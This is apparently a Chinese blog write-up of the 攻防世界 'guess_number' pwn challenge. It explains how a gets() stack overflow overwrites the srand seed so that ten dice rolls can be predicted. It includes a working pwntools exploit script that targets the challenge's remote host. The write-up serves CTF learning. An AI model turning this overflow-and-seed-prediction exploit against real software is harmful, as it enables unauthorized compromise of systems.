攻防世界 Pwn guess_number
1.checksec走一下

2.IDA反汇编看一下


3.根据上图代码,分析基本流程
流程:随机种子生成随机数,对比随机数和输入的数字,连续正确10次就成功。
初看好像不可能成功,怎么可能猜对随机数十次?其实srand生成的随机数是伪随机数。其实就是一个很长的数字字符串,然后根据种子定位到这个字符串某个点,然后每次生成随机数就读一个数字字符。也就是说,如果我们的种子是一样的,相同的随机次序我们得到的随机数是一样的。
于是,现在的问题变成了我们怎么得到程序的种子?或者我们是否可以修改程序的种子?
查看c源码,发现有gets把输入的字符串保存到本地变量v9,查看v9,发现:v9和seed之间差距30-10+1=21个单元。于是,我们就可以想到通过栈溢出的方法把v9的值覆盖seed。给出exp。

4.exp附上
from pwn import *
from ctypes import *
io = remote('220.249.52.133', 54835)
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = 'a' * 0x20 + p64(1).decode()
io.recvuntil('Your name:')
io.sendline(payload)
libc.srand(1)
for i in range(10):
num = str(libc.rand()%6+1)
io.recvuntil('number:')
io.sendline(num)
io.interactive()
5.运行结果

本文详细介绍了如何利用栈溢出攻击解决攻防世界中的Pwnguess_number挑战。通过checksec分析程序安全性,使用IDA反汇编了解代码流程,发现可以通过输入字符串覆盖seed来控制随机数生成。通过精心构造payload,设置相同的随机数种子并预测随机数,最终成功连续猜中10次。提供的exploit代码展示了整个过程,实现了远程连接并成功破解目标程序。
1189

被折叠的 条评论
为什么被折叠?



